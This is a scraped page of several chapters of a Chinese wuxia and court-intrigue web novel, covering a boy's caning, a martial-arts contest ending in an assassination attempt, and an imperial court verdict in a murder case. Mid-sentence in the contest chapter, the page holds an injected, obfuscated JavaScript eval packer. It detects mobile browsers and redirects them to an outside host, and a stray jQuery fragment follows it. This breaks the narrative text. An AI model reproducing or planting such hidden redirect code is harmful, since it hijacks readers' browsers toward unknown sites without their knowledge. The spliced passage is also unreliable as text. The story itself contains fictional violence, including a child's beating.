只是下一秒，李无忧只觉得脚下一虚整个人竟然就被李安国提了起来衣领子勒得他喘不上气，但无论他说什么，兄长就像没听见一般，径直将人提到花园中扔到长凳上，李治也随后走了过来。 李无忧本来今日已经歇下去的火又上来，对着李安国大喊道：“你干什么，你凭什么扔我。” 就在他还在等李安国回应的时候李治身旁的小厮竟然拿着家里面笞杖过来，还不等李无忧叫喊，他的裤子就被李安国一把拽下，突然的冰冷让他忍不住瑟缩了一下，但是脖子很快就被李安国的大手压住，接踵而至的就是木杖打在屁股上的痛感。 啪啪啪，接连打了三下，李安国才停了下来，此时李无忧的屁股已经浮出了红印，眼泪根本不受控制的往外流。好不容易李安国手上松了点劲，李无忧就开始挣扎，但紧接着他就感觉他的腰被一只脚踩住了，父亲的声音也从身后传来。“知道为什么今天要打你吗？” 李无忧不回话，只知道哭，李治见这小子还倔上了，留了一句让李无忧心寒的话就准备离开。“不知道也没关系，打他二十杖，让他知道今天他做的事以后再也做不了了。” 李无忧顿时慌了，刚刚那三下就疼得他差点撅过去，还有二十下，这哪行。 “我知道我知道。” 但是李治丝毫再给他说话的机会，径直地离开，李安国也不在意小子的哭喊，直接不带停又是十几棍下去，不过力度控制的是刚刚好，不至于让他晕过去，但是又让他痛彻心扉。 终于在李安国精心控制下，李无忧挨完了二十杖，，又被李安国夹着丢回了房间了。 事后王氏来看他的时候，他才知道父亲对于今天他对女子的行为非常不满，本来今日还有公事没有处理完，去推了后面所有的要见他的人，直接叫了李安国回家，就为了揍他一顿。 王氏之后也一再嘱咐他以后对女子无论什么什么都绝对不可以轻浮，李无忧起初还不明白，但是却在多年后再回想起那顿毒打，他似乎明白了为何父亲会这样生气。 18. 无忧拜师2 风沙过去，夜晚没了呜呜的风声，落雁关就只剩下寂静，天空没了沙尘的遮掩，只要愿意抬头就可以看到漫天星辰和一轮弯月。但是这样美丽夜景，落雁关里的人似乎并不愿意多看一眼，毕竟明天是一个改变他们命运节点，若真能入了武清宗回到老家，腰杆子都要直起来几分。 第二日天微微亮，就开始有人出城前往回雁山，回雁山距离落雁关看似不远，但若是依靠双脚走过去，还是要花费不少时间，武清宗在头一天已经将赛事情况安排好了，比武持续一天一夜，最后的胜者在经过武清宗的诸位长老和武清老祖认定后就可以拜入武清老祖门下。 萧妖雪和李无忧的出发时间并不算早，只不过仗着从京都骑过来的两匹好马好好休息了一夜，现在是精力充沛，二人一路疾驰到了武清宗，刚刚落座这演武就开始了。像萧妖雪、骨谙这种等级的人看这样的演武自然是如同顽童打闹一般无聊至极。但是今日来了不少附近的居民，他们也有根本不懂武术，只是来凑个热闹了，当每每有人胜出，台下还是会传来一阵欢呼声。 相比于这样无趣的打闹，萧妖雪对这武清宗演武时展开的护法阵倒还有几分兴趣。这阵法布局严密，想要从外面打破着实困难。同时武清宗考虑的也算是全面，这阵法一方面防止了外面的人进去干扰比赛，另一方面就算里面的人使用气息，也不会对外面那些平民百姓造成伤害。 不过在萧妖雪的记忆中，这武清宗的人尚用剑和掌，却还没听过有人能画出如此精美的阵法，又或者说这东梁地境之内除了那个已经被灭了门的薄凉宗以外，好似还真没人能画出这样的阵法。果然经过一番仔细的观察在这护法阵的一个阵眼上，发现了薄凉宗做阵时会特意留下的标志——一枚玉质的叶子。 正如潇湘阁的朱雀木牌一样，薄凉宗也有属于自己标识，正是这样的玉质叶片，制阵的人往往会把它融入到阵中，作为一个标识，但是当时薄凉宗灭宗灭得很突然，基本上除了护山大阵以外都被朝廷统统收缴了，那这武清宗的阵法看起来新，又从何得来？还是说难道这天下还有薄凉宗的后裔，掌握着这份技术不成？ 阵法于武学之中奥妙无穷，若是一个武者能熟练使用阵法，那么有朝一日，就算是遇到了那武榜前十都可以有生还的可能，所以当年薄凉宗被灭的太过于诡异。 但这些都是陈年旧案，不是一时半刻可以解决的，眼看李无忧在前几场的对手都资质平平，也没有过多的人将注意力集中在他的身上，便顺利的拿到了武清宗的入门资格，之后争夺魁首的几个小辈也不是他的对手，第一天就这样安全的度过了。此时已是三更天，武清宗的演武也只剩下最后一场决战了，决战之前有很长一段时间的休息，决赛在黎明时开始。 说是新愁化旧怨，自古冤家路窄，有些人的嘴巴就是开过光说什么中什么，显然马得源就是这样的类型，只是可能这二位公子爷都不能那么好看就不一定了，决赛双方正是昨天在客栈闹了矛盾的李无忧和马得源。 经过第一天的对垒李无忧也甚是疲惫回到萧妖雪身边刚说了两句话就沉沉的睡去。萧妖雪看着靠着自己的弟弟，心中也有几分不舍，一时之间真的想不出下次见面会是什么样的情景。李无忧虽然是睡了，但是萧妖雪不敢睡，今日自从进了演武场她就感觉到有几道阴冷的视线不时锁定了她，在她回头去望时又无从觅得。刚刚李无忧刚睡下她有感受到，不过这次的杀气更重，而且目标锁定到了李无忧，恐怕是想着没了护法阵的保护，李无忧身边就只有一个女子，他们觉得很有胜算吧。萧妖雪着实不喜欢这样的感觉，只能向着杀气的源头，将气息悄然释放。或许是感受到了她的气息，又或许是忌惮在场的人太多，那道杀气又隐藏进了人群中不见踪影。 萧妖雪考虑到若是现在对那人出手，恐怕一些对宰相府有仇怨的人会顺势而起，到时候台下暴动，恐怕对李无忧决战不好，所以也未再追究那道杀意，反正他迟早要出手，又何必自找麻烦。 马得源同样也是经历一天的赛事，此时脸上也略带疲态，回到骨谙的身边，并没有着急休息，而是一个劲的问骨谙自己今天的表现。 骨谙面色凝重地夸了马得源几句，又陷入了沉思，马得源自然看得出骨谙疑虑，问道：“骨老，怎么了，是家里出了什么事吗？” 骨谙又沉思了一会，才开口道：“家里倒是没有出什么事，只是刚刚我收到一封信。”骨谙将信展给马得源看，信上的字迹马得源认识是父亲的笔记，上面写着：“有人要对李公子不利，务必不留余力护他周全。” 马得源顿时是一头雾水，李公子？那个昨天在客栈和自己对呛的人？那个当朝奸相的儿子？父亲要骨老护他周全？也不曾听闻父亲还和京都有什么联系呀？ 骨老似乎是看出马得源满头的问号，开口道：“小马爷，这些事您问了我告诉您，但是呢也不用劳烦您费心，老爷吩咐的是我，你就安心打你的演武就行了。” 此时年纪轻轻的马得源第一次感受到一丝无力，明明知道家里的事情，可自己还是什么都做不了，成长的种子开始发芽，注定着在不久的将来就会破土而出。 破晓的光辉很快出现在天际，随着回雁山的钟声敲响，太阳从回雁山后冉冉升起，风沙过去的第二天，天空上最后一丝云也被昨日最后一丝残风卷走，碧空如洗，修整了几个时辰的观众，再度是激情重燃，昨日落败的人一部分已经离场，显得演武场宽阔了几分。 李无忧和马得源都站到台上，台下马得源那些个小跟班吼得可凶可凶了，大有他们小马爷是天下第一的感觉。不过要说马得源，长得确实不错，常年生活在西域，黄沙漫天，但他的皮肤没有半点凹凸，肤色算不上白，但是却为他徒增了几分英气。今日他不再是昨日那般书生打扮，宽袍大袖，释放出气息，衣袍就无风而动，确实有那么几分大师风范，但萧妖雪估计，这小子要达到这效果，估计已经是把全身的气息都牵动了。但不得不说台下的反响是很好的，特别是一些小姑娘已经发出了尖叫。 反观李无忧，一身黑色短衫，萧妖雪都有些后悔让他穿的这么朴素，有一说一要不是那布京都缎彩楼的布，他这一身和前面几个附近村里来的孩子差得真的不多。李无忧的个子不算高，体态也不算壮，站在马得源面前就瘦瘦小小一个。也难怪马得源看不起他。 此时演武场周围阵法已经启动，随着锣声一响，决赛也拉开了序幕。萧妖雪注意到，在锣声敲响后，有几人纷纷向着离场地较近的位置走去，这些人看起来就像是附近村里的居民，一般人是多一眼都不会看的。但是萧妖雪却在他们身上感受到了一些气息流动，这样的气息在武林中只能算平平，但是这样的三四人足以在武清宗的人员赶到场地前杀死李无忧。这时就算武清宗的人能赶到场地将他们镇压了，李无忧也必死无疑，但是若只凭他们几人的武功想要破开这护法阵定然是不可能，恐怕他们是想趁着护法阵关闭的瞬间冲上去。 想到这里萧妖雪也跟着紧张起来，毕竟护法阵随时可能关，只要场上一方认输或者一方有生命危险，武清宗的人都有可能会撤去护法阵，入场干涉，但他们也会等着阵法完全散去才会动身，这必然会比这几个有备而来暴徒慢了不少。 李无忧是李家的幺儿，在这出了事别说武清宗担待不起，就算拿整个回雁山以西来陪葬估计都压不住这位当朝宰相的怒火。但是这些人既然准备动手，这些代价就是他们不在意的。虽说若是西域溃于当朝宰相这样看来是一个东梁、是李家的福分。但是以牺牲一个幼子作为交换条件，这样的事萧妖雪是绝对做不出来的。 就在萧妖雪观察这边情形时，场上二人的比武也正式开始了。马得源不愧是边塞长大孩子，出手直来直去，一上来一拳递出，有着隐隐的破风声，李无忧则是将内力集中在手掌之上，侧身一让，正面避过这一拳，手掌轻推，气息由掌心喷涌而出，将马得源的这一拳卸去力道，转变方向。顺势又将气息调动到膝盖之上，一提脚，顶在了马得源的膝后，气息再度爆出，震得马得源腿一软，险些跪倒在地。在第一次和马得源的交手中，李无忧就发现虽然马得源的气息与自己不相上下，但是他似乎并不会调用气息，而是直接将气息发散开来，覆盖全身，所以针对李无忧这样将气息集中起来的攻击方式，他就有些招架不住。 一掌一腿李无忧成功占据上风，但是他并没有急于求胜，而是快速拉开距离，同时体内气息流转，回到最好的状态，果然刚刚吃了亏的马得源虽然脚软了一下，但是并没就此跪地，而是借着稳定身形的机会，再出一拳，若是刚刚李无忧没有退那一步，必然要费十二分的精力来抵御那一拳头。 眼见一拳落空，场上的局面又恢复到开场之时，这次李无忧并没有再等待马得源出击，而是主动调动气息，近身马得源，二个半大的小伙子，就这样有一式，无一式的打了起来，在李无忧再一次出脚将踢在马得源的膝后后，马得源终于是没有稳住身形，拉着李无忧二人齐齐倒地，此时二人的那本就不多的气息已经是强弩之末，所以二人在地上扭打作一团这场面若用演武来形容多少有些夸大，怎么看怎么像两个小孩斗嘴输了，在地上打成一片。正当观众以为这场比武要以这样的闹剧结束时，李无忧突然掏出了一把小巧的匕首抵住了马得源的喉咙，这一举动算然看起来确实卑鄙，但是武清宗的演武并没有说不允许携带武器，在之前比武中刀枪剑戟斧钺钩叉的也不在少数，所以这李无忧此时出这一招也不算违背规矩，只是惊得武清宗的几位护法已经站了起来，都是各家的公子爷，在他们这闹出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597605|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人命可不是好事。 好在看到李无忧也只是浅浅一比划就止住行动了，连马得源脖子上的皮都没蹭破，他们就放心了。不过李无忧并没有要求马得源认输，而是将他拉起道：“我们刚刚那样打确实太掉价了，不如这样，我看你拳法不错，我恰巧也学了一点掌法我们各出一式，谁退得远就算谁输，你说如何。”李无忧不愧是在京都的公子哥圈子中混了这么多年，他说出这话的时候，那语气诚恳中带着一丝压迫，让人无法拒绝，此时马得源也刚刚换过一口气来，听着李无忧这话，他竟然还真不知道怎么反驳，毕竟刚刚那样打这么多人看着确实太丢人，再者说，李无忧下手也是够狠的拳拳到肉，再下去还是有点抵不住，经李无忧这么一说，他对自己的拳还是很有信心的，也便同意了下来。 武清宗演武到此时已经经过了几十场对打了，这还是第一场二人在场上自己定标准的，这一操作把在场的人都看懵了，除了那几个蠢蠢欲动的杀手，毕竟一拳一掌过后，就是撤去护法阵之时，此时的萧妖雪也是全神贯注。 李无忧和马得源各自调整了气息后，便准备拿出自己的最后一式。 马得源眼中的李无忧突然就安静了下来似乎在感受什么，但是他们这是战场，刚刚李无忧出招已经不是什么君子行为了，现在马得源自知这是他出手的好机会，但是不知道什么原因，让他迈不动脚，就想看看这李无忧到底要耍什么花样。 而就这短短几秒在李无忧看来宛若黄粱一梦，他似乎又回到了鹿坪丘的那个夜晚，姐姐的寒霜掌又在眼前演示了无数遍。终于他似乎在一瞬间也感受到了一些环境中的元素，他似乎真真切切看到了那些红红蓝蓝的元素，他试图将注意力集中在红色光点上，没想到那些光点真的就向它聚集过来，凝聚在他的手掌附近，而当他打出一掌时，那些光点又随着掌风飞了出去，这正是烈焰掌的雏形。 当他回过神来时，马得源的拳头已经和那一掌碰撞在一起，此时距离李无忧只有一步的距离，若是马得源破了他那一掌，他连躲的机会都没有。可没想到马得源的拳与掌风相撞之时，并没穿透而过，而是像打在一块滚烫的烙铁上，一瞬间将他的拳头牢牢粘住，下一瞬那掌突然爆炸开来，将他弹出好十几步之远，一屁股坐在地上，刚刚的拳头已经是没了知觉。此时观众席鸦雀无声，因为在其他人看来就是李无忧面前有淡淡的一点红色光芒飘出，马得源好像是碰到了那红芒就飞了出去。 这对打就这样结束此时结果已经一目了然了，护法阵也开始渐渐散去，李无忧也终于放松了下来。 可是就当阵法高度刚刚减半之时，五道身影就越过阵法直奔李无忧而去，此时的李无忧虽有知觉，刚刚倾尽全力打了打了那一掌，现在站都有点站不稳，被冲向自己黑影气息锁定时已经是不能动荡，电光火石之间，只见其中一道黑影突然加速，冲到李无忧身前，一道白芒闪过，另外四道黑影向后弹去，在地上留下了四道长长的痕迹。 江湖小记： 云阁辩武后的三个月，东梁的江湖进入了鼎盛发展的时期。风云人物辈出，首先是那在云阁一战成名的萧云雁，虽然是女流之辈，虽然是青楼之人，但是她的名声在江湖上确实人人赞颂。潇湘阁也因此驰名江湖，在此之前，京都城内一直没有谈好的地，这次竟然让地主拿亲自上门卖地，就连施工的工期都减了半。东梁最大的青楼京都潇湘阁仅用了一月的时间就开门营业了。 只是这一战成名的萧云雁，却在东佛寺留下最后的消息。萧云雁受东佛寺渡苦大师之邀，入了东佛寺的藏经塔，拜读先人之作。 要知道这东佛寺建成已经有足足百余年，这藏经塔除了佛经还有各届佛寺住持留下的心经。都说秘籍养体，心经养气，内外兼修方得大成。这百余年能进入藏经阁研读的人屈指可数，放眼他们的未来，无不是站在武学顶峰之人。如今这萧云雁进得藏经阁未来不可限量，只是她现在名声太旺，难免遭人眼红不知能否成功走到大成的那日。 说罢了东边，再谈谈这南边，同样是一位青年才俊技惊四座，那青年拿着一柄断秋水，攻擂无量山，连战十人，前九人皆是仅用一式。最后一人更是秋水剑出，有江河奔流之势，观者仿若立身河边，战者如处于惊涛骇浪之中，一剑引天河，二剑断秋水。谁人道覆水难收，秋水入鞘宛若江河倒流，只留对手长剑寸断，胜负已分。 此战之后武清得名秋水剑年少成名，位列武榜十五。 怎奈何几家欢喜几家愁，云阁之中已经在这里住了三月的周钦德终于带着徐战和袁清辞行，这三个月他们见到一个曾经人人口中的武学天才从暴怒到祈求再到妥协，最后背着他那可悲的自尊心和无耻自刎于山门之前。那场世人看来荒谬的赌注最后以路川这样荒谬的形式结束了。 19. 无忧拜师3 书接上回，尘土落下站在李无忧面前的正是萧妖雪，而飞出去的四人却是刚刚看台上蠢蠢欲动的几人。也正如萧妖雪所料武清宗的几位确实慌了，但是想要冲到李无忧身边也确实来不及，所以她便也冒着会被武清宗误会的风险，抢先一步上台，毕竟失了机会也比丢了命好。 其实此时那四人已经没有翻盘的机会，就算只有一个萧妖雪在这里他们都不可能再伤及李无忧一分，更别说此时武清宗的人已经来到场地中。其实看来这四人也不过是就是周围学过点武的寻常村民，东梁尚武，所以田野耕夫会点武功倒是也不稀罕，只是是何人在后面撺掇这一出戏码，就值得好好品味。四人见机会已失去，为首一个年纪略大，满脸大胡子的大汉突然就开口道：“狗宰相的种，你好意思来西域，我们定让你有命来无命回。还有什么狗屁武清宗，我看你们就是那狗宰相的狗，这演武分明就是为了这小子设的吧，找的都是什么人，一看全他妈是演的，你想招这小杂种，你就直接招，搞什么演武，是想让全天下的人都知道你武清宗最近缺钱了，想着找条大腿抱一抱是吧。”这话说的在场的武清宗长老和弟子脸色都青一阵白一阵，气息都受阻了。此时李无忧突然开道：“我知道我父亲做了一些事，收了一些钱，但是我今天是凭我自己的实力站在这的，今日的演武大家有目共睹，我今日若是入得武清宗，凭的不是我父亲，而是我自己。武清宗这些年为你们西域的这些城池做的事也不少了，你们还这样说，是想回到没有他们的日子吗？” 李无忧说完那大汉还想再开口说什么，突然又被另一个略显稚嫩的声音打断：“我认可李兄的武艺，他的实力足以进武清宗。”说话的正是刚刚落败的马得源，马家在西域的话语权已经隐隐有超越官府的地位，他此话一出，倒是让大汉一时之间不敢反驳。恐怕他是想挑拨武清宗放弃招纳李无忧，毕竟迫于这样的压力下，就算只是一个马家小孩反驳了，武清宗还是有可能不招纳他，或者将他招入寻常弟子，这李家公子估计也不乐意，恐怕也是会甩手离开，这样他们以后还可以再进行刺杀。 不过他身旁那个瘦子似乎没有理解这大汉的意思，见场上情况不再对他们有利，便想着破釜沉舟，直接就冲了过来，大汉见状还想阻止却已经晚了，他身后的两人也跟着瘦子冲了出去，三人眼见接近了武清宗的长老，便挥起各自的武器，可是在三步之遥的地方，身体就被一股看不见的力量锁住了，再难往前半步，恐怕武清宗的人只是想控制住他们，但是，就在此时他们身后有几道流光闪过，直接贯穿了那几人的胸膛。此时场上所有人的目光都集中到了萧妖雪身上。 “难道不杀他们，他们就会说真话，说出是谁在后面操控他们，蛊惑他们，恐怕他们自己都不知道背后那人是谁吧。还是说我堂堂李家就要蒙受这样的骂名，还不能对这杀手做点什么？” 在场众人听到了萧妖雪这番话，都觉得有些荒唐，但似乎又合理，今日李无忧实力有目共睹，刚刚就连他的对手也对他做出了肯定的评价，若此时再质疑那就是和武清宗对着干，和西域马家对着干，这对他们来说也不是什么好事。场上只有那大汉的脸色蜡黄，今日眼见必然是失败了，就算活着回去了，估计也……，便索性一咬牙，也冲了上去，抡起斧头冲了上去，斧头属于重兵器，抡起来倒是颇有气势，几个站在前面的武清宗弟子都有点怵他，纷纷后退一步，但还是一枚流光飞出，灵活的避开斧头的轨迹，贯穿了大汉的眉心。那大汉轰然倒地，一阵尘土飞扬。 之后场上陷入了长长的沉默，直到一个中年男子咳嗽声传来。“好了此事到此为止吧。 ”场上的武清宗众人才回过神来，看着后面站于高台上的人，躬身一拜道：“见过武清老祖。” 虽说是武清老祖，但是男子年纪看起来并不大，乍一看根本不会与老祖这两个字联系在一起，鬓角都还未出现斑白。他身着一袭武清宗的淡蓝色袍子，袍子上画着闲云野鹤，看起来倒是潇洒自在。立于高台之上，衣袖真正的无风自动，垂眼俯瞰着台下，确有几分神仙之姿，他身后跟着两位老人，看起来虽然年纪挺大，但或许是所练功法的原因，看起来到有那返老还童的感觉。本来今天演武当由这两位老人来主持，本在后院优先品茶的武清老祖不知怎么地就冲到了演武场，着实把这两老人吓了一跳。 武清老祖本名就叫武清，其实本来年纪就不大，属于天资卓绝之辈，后面游历江湖，做了不少好事，武艺也是更上一层楼，而立之年便开宗立派，将游历江湖中所遇到无门无派的武者招揽到了门下，开立武清宗，但又怕前来求学的学子觉得自己这个宗主不称职，就给自己取了个武清老祖，没想到还真有不少人慕名而来，这武清宗也就越办越大了。 武清咳嗽一声开口道：“我宣布今日演武到此结束，李无忧三日后与我行拜师礼，拜入我门下。其余人等明日行拜师礼，拜入武清宗。”说罢也未做多留，转身就走了，但是在他转身之前萧妖雪还是感受到武清在她身上探查的气息。 “这就结束了？” “那人是武清老祖？” “怎么看着如此年轻？” “武清宗真的收了宰相的儿子！” 武清离开后，现场的气氛好似失去压制一般顿时就炸了锅，但是却无一人敢站上前质疑这个结果。 宗主已经离开，武清宗的弟子也便开始收拾残局，四具尸体被依次抬下了擂台，台下的观众终于意识到热闹已经结束了，现在是时候离开了。 此时骨谙，也来到马得源身边。检查确认了他家小公子没有受伤，便转向了萧妖雪。虽然已经听过骨谙说话，但是再度听到他那种干涩的声音还是会觉得不适应。骨谙说：“萧姑娘，之前就听说你武艺不一般，今日一见果然不俗。马家老爷之前与李相交情不错，前几日知道你们要来，特意给老朽我寄了一封信，你亲自看一下吧，以免之后遇上了，也可以提前有个应对之策。”说罢，便将一封信件交给了萧妖雪。 信上所写骨老亲启，信的封口处是被打开过的。萧妖雪展开信件，纸上的褶皱显然是打开又合上了很多次，这马老爷到底写了什么让骨谙这样的人都如此纠结。信上还有淡淡墨香残留，马老爷虽说是这西北边境出生，但是这一手写得确实是粗中有细，信上每个字都不大，但是一笔一画都铿锵有力，就如同这信的内容令人心中一颤。信上写道：骨老，此次演武恐会横生枝节，你切记照顾好得源。此外若李家人有难定要出手相助，不得伤他们分毫。还望骨老告知李府之人，三月前徐战返京，行过良田村，停留两日后才离开，又过七日徐战的门生司空颜再到良田村，停留三日，自此良田村只进不出，马家派去的人有去无回。三日前突有四人离开良田村，赶赴回雁山，恐演武有变。 果然，这徐战回来就是要闹个天翻地覆，之前的千足王果然只是开胃小菜。李治与徐战是政敌要打败政敌最好的办法永远都不会刺杀，所以千足王一事显然是针对自己这个江湖人士来的，而这良田村怎么看都很符合扳倒李治的手段。 要说这徐战从边关赶回京都受赏，那必然是快马加鞭，这就算路过一个村子需要休整也不会过久停留，往往住一夜便离去，这才是正常的，但是这足足停留了两天确实不太正常。而之后这司空颜又再来了一次，这事就更加巧妙了。话又说来，这司空颜上次查千足王也查到了他，这次又这么巧他也去过良田村，那估计两者这件怕是脱不了关系了，但是这堂堂一个镇远大将军有图这小小良田村的什么呢？ 萧妖雪将信件交还给骨谙，本想着自己之后再着手调查，却不料骨谙又给她送来一个极为重要的消息“这良田村我之前去过，村子不大，住的人不多，大家就守着那一亩三分地过活，但是在村子不远处有一座前朝的公主坟，具体是谁我也不太清楚，但是若是良田村出了变故多半与那坟有关。老爷之前就与李相交好，其实这次我们离开前收到了一封京都的密信，让马家动手杀李家的人，但是老爷重情重义，不在乎京都的人怎么说，也不担心他们之后会怎么做，还是坚持让我们不得对你们动手。我相信老爷的选择，但是也希望萧姑娘，能明白老夫刚才那番话的含义。” 至于这良田村本就在靠近京都的地方，但又属于马家的势力范围内，估计也是困扰马家许久，现在看来徐战良田村这步棋恐怕也是针对李家布置的，那么骨谙目的就是希望萧妖雪这李家后人可以出面解决了这麻烦，不要将矛盾引到马家身上。 萧妖雪理清了骨谙的意思，也是微微一笑道：“骨老，我们此次西域之行，来得匆忙确实没有准备好拜会马老爷，但是没想到，马老爷竟然给我们备了这么一份大礼，这良田村的事就包在我身上了，一定给您解决好了，就当谢礼了。现在风也大了，说不好等会还有场大风暴，我们也要先回城休整，骨老我们就先行一步了。告辞！” 说罢对骨谙鞠了一躬，然后带着李无忧向场外走去。骨谙看着他们的背影，脸上还是没有过多的表情，只是当二人的身影已经彻底消失了，他才缓缓道：“这李家的后人可比那李治看起来顺眼多了。”此时马得源已经走到骨谙身边，轻轻地拉了拉他的衣袖，道：“骨老，我们也回吧，这风沙马上要来了。” “这风沙马上要来了……我骨谙还是老了，年轻人的心思看不清咯” 果然在众人返回客栈不多时，风沙再起，吹整个落雁关昏天黑地，这房中若是不点灯，真是伸手不见五指。若是有胆子大往外看，就会发现这窗外的天不是黑色的，而是血红的，如同杀气凝聚成了实体。 李无忧换去了比武时的脏衣，这次他也换上一件白色的长袍，长袍上应隐隐有水波鱼纹的图案，腰间墨色腰带一扎，略带稚气的身形也凸显了出来，脚上的鞋靴略微有些高度，不知不觉间竟然与萧妖雪差不多高了。虽然年纪还小，但是穿上这衣服往那一站，京城公子哥的气质一下就出来了。 萧妖雪还记 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圣人看了看跪在下面的钱德仕，又看看了袁墨，缓缓开口道：“钱德仕，刚刚袁墨说因为梅家千金撞破了你受贿的事情，以此来要挟你，给你记了一笔巨账，你因此怀恨在心，于上月十五在虎丘阁虐杀了梅家千金，你可认？” 修筑金殿的工匠在大殿的顶上，装了一幅圆拱形的九龙顶画，这样对大殿内人说出来的话有聚拢效果，就像此时钱德仕听着圣人的话，就如同天外梵音一般，听得人头晕晕的。 “钱德仕，圣上问你话呢！”金殿内公公尖锐的声音将钱德仕的魂又唤了回来。回过神的钱德仕突然像下定了决心一般道：“臣领罪，但那银子的来历罪臣还有话说。” 圣上沉默不语并没有阻止他的意思，钱德仕看了一眼袁墨，只见他面色如初，并没有任何慌乱之色。心里突然咯噔了一下，但话已经说到这个份上了，他心想袁墨你不仁休怪我不义，今天我们谁也别想活 “这笔钱是袁墨给我的，当时我之所以会上书推荐他，也正是因为收了他的银子。” “钱德仕你好大的胆子！”圣人的怒火是没有几个人愿意承受，此话一出，金殿上的人都忍不住缩了缩脖子。 钱德仕顿时觉得自己似乎真的无所畏惧了，他看到圣人发怒竟然还有了疯狂的想法，就让这怒火再凶猛些吧。 只是接下来事情的发展却完全在他意料之外。 他说完袁墨却不卑不亢的跪下道：“臣从未给钱大人送过钱财，望陛下明鉴！” 不对不对，前几日，刚收到了袁墨的威胁，他便还是坚持写了封折子打算递上去，但是谁料到才出门，就被刑案司的人给拿了。接下来的时间他就在暗无天日的牢狱中度过，刚进去的时候袁墨就来找到他，对他说了一番让他彻底心寒的话：“钱大人，我之前警告过你不要轻举妄动，你不听，看来你还是更适合呆在这里。再看看你写的折子，既想把我供出去，又想拿那银子，你猜猜若我若真的跪在那金殿上，你那箱银子是会好好得埋在你的老家还是会出现在你的小金库里呢？你呀，现在进来了就不要多想了，若之后来了人问起来，你想怎么说都行，只要你的皮够厚。”说完当着钱德仕的面将那封折子烧得一干二净，也不给钱德仕再多言的时间，转身就离开了。 事情明明就是这样的，他怎么可能！ 沧州马家小记： 沧州马家作为一个大漠的世家，出身并不如京都的那些豪门那么光鲜亮丽。大漠之中的家族的第一桶金更多的是来自战争，马家就是最鲜明的例子。 早起的马家做的是走私军火的生意，可是随着太平盛世的逐步到来，马家家主也觉得这门生意不可长久，于是便转变了方向，之前因为与兵刃接触颇多，家族中不乏手艺不错的师傅，于是马家就利用了这一优势摇身一变成为了驰名东梁的工匠世家。 传到马得源父亲马志才铸刀的手艺已经是炉火纯青了，当今天下第一路行所用的长刀山河便是出自沧州马家现任家主马志才之手。 马得源是马志才的独子，可奈何从小对于铸刀就不上心，马志才见家业传承困难，便动了收养的心思。没想到马得源听说了父亲的这个想法后却异常支持，这让马志才气得不行。索性就将旁系的一个年纪与马得源相仿的孩子过继到了自己名下，打算日后继承自己的手艺。 这个孩子也确实在铸刀方面颇有天赋，跟着马家那几位老师傅学了几年，所铸的刀已经达到了中上乘，很是受马志才看中。 当看惯了好学生，马志才再来看自己那顽劣的小儿子之时，就更是无奈，如今马得源的真正的兴趣所向已经日益显现，这孩子从小生在铸刀的环境之中，受到上等刀剑气息的熏陶，在武学方面确实远超常人。 马志才见到既然这继承家业的路子走不通，便索性将儿子送去习武，找了几个不错的师傅来教，马得源学得也认真，但是西域在武学方面终究是匮乏，恰逢武清宗招生马志才才看到一点马得源习武的希望。 20. 凶案落幕 有道是只有冤枉你的人才知道你有多冤枉，这句话对于曾经的鬼月适用，对于现在跪在这的钱德仕更是适用。 钱分明就是袁墨给的，他现在竟然如此正义凛然的说出来他从未给过钱。那他要不要想想如果没有自己他怎么可能上皇榜，又怎么可能走上金殿讨得这刑案司副职之位。 “朕从未收到过你荐举袁卿的折子呀，若是朕记得是当时李卿亲自到朕面前举荐的，朕也是相信李卿的眼光，才同意点他入朝的，这与你有干系？”圣人的声音在大殿中回荡了很久，最后如一把重剑砸在钱德仕身上。 听到这里，钱德仕的心已经彻底凉了，他一个兵马司副职，人家李治可是当朝宰相，就算袁墨真的是脱干系入的朝堂，又和他会有什么关系呢，更何况那封折子根本就没有递到圣人手上。 接下来李治的话彻底湮灭了钱德仕的希望“袁大人是臣看着长大的，从小聪慧过人，颇有远见，臣觉得是国家栋梁，所以当时才擅作主张地向陛下举荐一番，若是如今陛下觉得臣此举不妥，臣甘愿一人受罚，也不要误了人才。” 说罢，金殿上又陷入了沉默，李治低眉，袁墨跪在地上，梅良面无表情的站在大殿中央，钱德仕如同一滩烂泥一般瘫跪在金阶之下。 “钱德仕，于京中犯下如此大案，还污蔑有功之臣，罪加一等，斩立决。李治以权谋私，但念在你荐之人却为能人，罚一月俸禄。梅良丧女，朕允你这几日暂不上朝，迎回女儿尸首，入土为安为重。袁墨此次缉凶有功，留刑案司副职，望以后莫要辜负了朕对你的期望。” 殿上群臣低声交谈起来，声音嗡嗡的，来了几个侍卫将钱德仕这块烂肉拖了出去，公公尖锐的声音再度传来：“有事上奏，无事退朝。” 盛元十四年，轰动一时的鬼月杀人案就此落下帷幕。 走出金殿，袁墨看着那万里无云的天空，长长呼出一口气，今日的修罗场竟然全身而退了，他本以为钱德仕将自己供了出来，就算不死，今日这身官服也是保不住了。可没想到，李相竟然愿意亲自为自己担保，而且听他那么说，这李相早就举荐了自己，恐怕连钱德仕的举荐信也是他扣下的。想到这里再环顾人群李治正一人前行，袁墨思想片刻便追了上去，对着李治恭恭敬敬施了一礼道：“袁墨谢过李相。” 李治将他扶起，细细的打量了他一番，语重心长的道：“你很聪明，但是这是京都，还是会有人算不如天算的时候，我帮你我有我的理由，你不必多问。日后你自己行事还需再谨慎些，毕竟京都中的事从没有一人做事一人担的道理。” 李治说完便转身离去，留在原地呆愣半晌的袁墨回过神来才发现自己的后背已经湿透了，李治截取了钱德仕的举荐信，那他恐怕也知道自己要做什么，可又为何要冒着风险亲自保自己呢？还有他最后说的那句话，他怎么知道袁梅和自己是兄妹，要知道他和袁梅见面都是很隐秘的，那他会不会已经猜到他们的真实身份。但若是这样不就更说不过去了，毕竟当年可是他亲自把父亲…… 袁墨越想越乱，眼见着朝臣已经走得差不多，这宫闱竟然显得那么空旷，冬日的太阳没有一点温度，一阵风过，刚刚被汗沁湿的衣服传来一阵刺骨的寒意，果然这京都就是一头食人的巨兽。 